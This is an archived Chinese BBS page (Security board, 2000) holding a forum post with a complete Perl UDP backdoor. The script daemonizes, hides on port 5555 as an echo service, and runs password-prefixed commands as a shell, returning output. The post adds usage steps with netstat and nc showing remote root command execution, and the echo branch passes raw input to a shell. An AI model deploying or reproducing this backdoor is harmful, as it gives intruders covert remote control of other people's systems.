📄 367.htm

📁 unix高级编程原吗
💻 HTM
字号:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>CTerm非常精华下载</title>
</head>
<body bgcolor="#FFFFFF">
<table border="0" width="100%" cellspacing="0" cellpadding="0" height="577">
<tr><td width="32%" rowspan="3" height="123"><img src="DDl_back.jpg" width="300" height="129" alt="DDl_back.jpg"></td><td width="30%" background="DDl_back2.jpg" height="35"><p align="center"><a href="http://apue.dhs.org"><font face="黑体"><big><big>apue</big></big></font></a></td></tr>
<tr>
<td width="68%" background="DDl_back2.jpg" height="44"><big><big><font face="黑体"><p align="center">               ● UNIX网络编程                       (BM: clown)                </font></big></big></td></tr>
<tr>
<td width="68%" height="44" bgcolor="#000000"><font face="黑体"><big><big><p   align="center"></big></big><a href="http://cterm.163.net"><img src="banner.gif" width="400" height="60" alt="banner.gif"border="0"></a></font></td>
</tr>
<tr><td width="100%" colspan="2" height="100" align="center" valign="top"><br><p align="center">[<a href="index.htm">回到开始</a>][<a href="311.htm">上一层</a>][<a href="368.htm">下一篇</a>]
<hr><p align="left"><small>发信人: lgwu (乱世糊涂虫), 信区: Security <br>

标  题: a password protected UDP backdoor <br>

发信站: 武汉白云黄鹤站 (Sun Nov 12 14:42:49 2000), 站内信件 <br>

  <br>

  <br>

Based on Anarchy udp client-server udp backdoor.Try to hide as a echo port <br>

and with a passsword protect. <br>

  <br>

Just for the joke. :-) written with perl <br>

  <br>

USE IT WITH YOUR OWN RISK. lgwu@chinaren <br>

  <br>

---------------------------------cut----------------------- <br>

#!/usr/bin/perl <br>

  <br>

print "Enter Password(3 characters):"; <br>

$pwd=<STDIN>; <br>

chop($pwd); <br>

$pid=fork; <br>

exit if $pid; <br>

die("Error.") unless defined($pid); <br>

  <br>

use IO::Socket; <br>



use POSIX; <br>

POSIX::setsid(); <br>

$time_to_die=0; <br>

  <br>

sub signal_handler { <br>

 $time_to_die=1; <br>

} <br>

  <br>

$SIG{INT}=$SIG{TERM}=$SIG{HUP}=\&signal_handler; <br>

  <br>

until($time_to_die) { <br>

$|=1; <br>

  <br>

$port=5555; <br>

$maxlen=1024; <br>

  <br>

my($sock, $raddr, $rhost); <br>

  <br>

$sock=IO::Socket::INET->new(LocalPort=>$port,Proto=>'udp') or die("Error.\n"); <br>

  <br>

while($sock->recv($msg, $maxlen)) { <br>

my($rport, $ipaddr)=sockaddr_in($sock->peername); <br>



$rhost=gethostbyaddr($ipaddr, AF_INET); <br>

$test=substr($msg,0,4); <br>

chop($test); <br>

if ( $test eq $pwd ) <br>

{ <br>

  $length=length($msg); <br>

  $reply=substr($msg,3,$length); <br>

  $output=`$reply`; <br>

  $sock->send($output); <br>

  $sock->send("-end.\n"); <br>

} <br>

else <br>

{ <br>

  $output=`echo $msg`; <br>

  $sock->send($output); <br>

  $sock->send("-end.\n"); <br>

} <br>

} <br>

} <br>

-----------------------------------end------------------------ <br>

to use. <br>

可以用Anarchy 的udp client来通信，但是好像buffer有问题, output <br>



不对，推荐使用nc来实现通信 <br>

[root@sa-server /root]# ./udpserver.pl <br>

Enter Password(3 characters):abc <br>

[root@sa-server /root]# <br>

[root@sa-server /root]# netstat -an <br>

..... <br>

udp        0      0 0.0.0.0:5555            0.0.0.0:* <br>

..... <br>

  <br>

In another server: <br>

[oracle@oracle0 oracle]$ nc -u 10.9.72.1 5555 <br>

id <br>

id <br>

  <br>

pwd <br>

pwd <br>

  <br>

ls -l <br>

ls -l <br>

  <br>

abcid <br>

uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk), <br>



(wheel) <br>

  <br>

abcpwd <br>

/root <br>

  <br>

  <br>

-- <br>

  <br>

※ 修改:．lgwu 于 Nov 12 16:58:55 修改本文．[FROM: 202.112.45.46] <br>

※ 来源:．武汉白云黄鹤站 bbs.whnet.edu.cn．[FROM: 202.112.45.46] <br>

-- <br>

  <br>

  <br>

</small><hr>
<p align="center">[<a href="index.htm">回到开始</a>][<a href="311.htm">上一层</a>][<a href="368.htm">下一篇</a>]
<p align="center"><a href="http://cterm.163.net">欢迎访问Cterm主页</a></p>
</table>
</body>
</html>
⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -